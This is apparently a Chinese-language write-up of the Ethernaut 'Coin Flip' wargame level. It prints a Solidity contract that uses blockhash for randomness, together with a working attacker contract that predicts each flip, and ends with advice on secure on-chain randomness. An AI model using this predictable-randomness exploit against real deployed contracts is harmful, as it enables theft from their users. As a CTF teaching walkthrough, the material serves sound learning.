3. Coin Flip

Difficulty: 3/10
Level: https://ethernaut.openzeppelin.com/level/0x4dF32584890A0026e56f7535d0f2C6486753624f

先看通关要求:

这是一个掷硬币的游戏,你需要连续的猜对结果。完成这一关,你需要通过你的超能力来连续猜对十次。

分析

合约代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract CoinFlip {

using SafeMath for uint256;
uint256 public consecutiveWins;
uint256 lastHash;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;

constructor() public {
consecutiveWins = 0;
}

function flip(bool _guess) public returns (bool) {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));

if (lastHash == blockValue) {
revert();
}

lastHash = blockValue;
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;

if (side == _guess) {
consecutiveWins++;
return true;
} else {
consecutiveWins = 0;
return false;
}
}
}

本关使用 block number 作为随机数,计算 div,然后和 _guess 进行比较。

由此可知只要保证调用方和被调用方的block number 相同就可以计算出结果。

个人钱包调用不能保证block number相同,需要单独写一个合约调用CoinFlip合约即可。

解题

获取关卡合约实例地址:

1
instance

打开 Remix IDE,新建文件 CoinFlip.sol:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.9;

import '@openzeppelin/contracts/utils/math/SafeMath.sol';

interface ICoinFlip {
function flip(bool _guess) external returns (bool);
}

contract CoinFlip {
using SafeMath for uint256;
uint256 FACTOR = 57896044618658097711785492504343953926634992332820282019728792003956564819968;
address levelInstance;

constructor(address _levelInstance) {
levelInstance = _levelInstance;
}

function guess() public {
uint256 blockValue = uint256(blockhash(block.number.sub(1)));
uint256 coinFlip = blockValue.div(FACTOR);
bool side = coinFlip == 1 ? true : false;
if (side == true) {
ICoinFlip(levelInstance).flip(true);
} else {
ICoinFlip(levelInstance).flip(false);
}
}
}

编译部署,在 constructor 填入关卡合约地址然后部署。

然后分别在10个区块中调用 guess 函数。

最后提交,本关完成。

后续

通过solidity产生随机数没有那么容易. 目前没有一个很自然的方法来做到这一点, 而且你在智能合约中做的所有事情都是公开可见的, 包括本地变量和被标记为私有的状态变量. 矿工可以控制 blockhashes, 时间戳, 或是是否包括某个交易, 这可以让他们根据他们目的来左右这些事情.

想要获得密码学上的随机数,你可以使用 Chainlink VRF, 它使用预言机, LINK token, 和一个链上合约来检验这是不是真的是一个随机数.

一些其它的选项包括使用比特币block headers (通过验证 BTC Relay), RANDAO, 或是 Oraclize).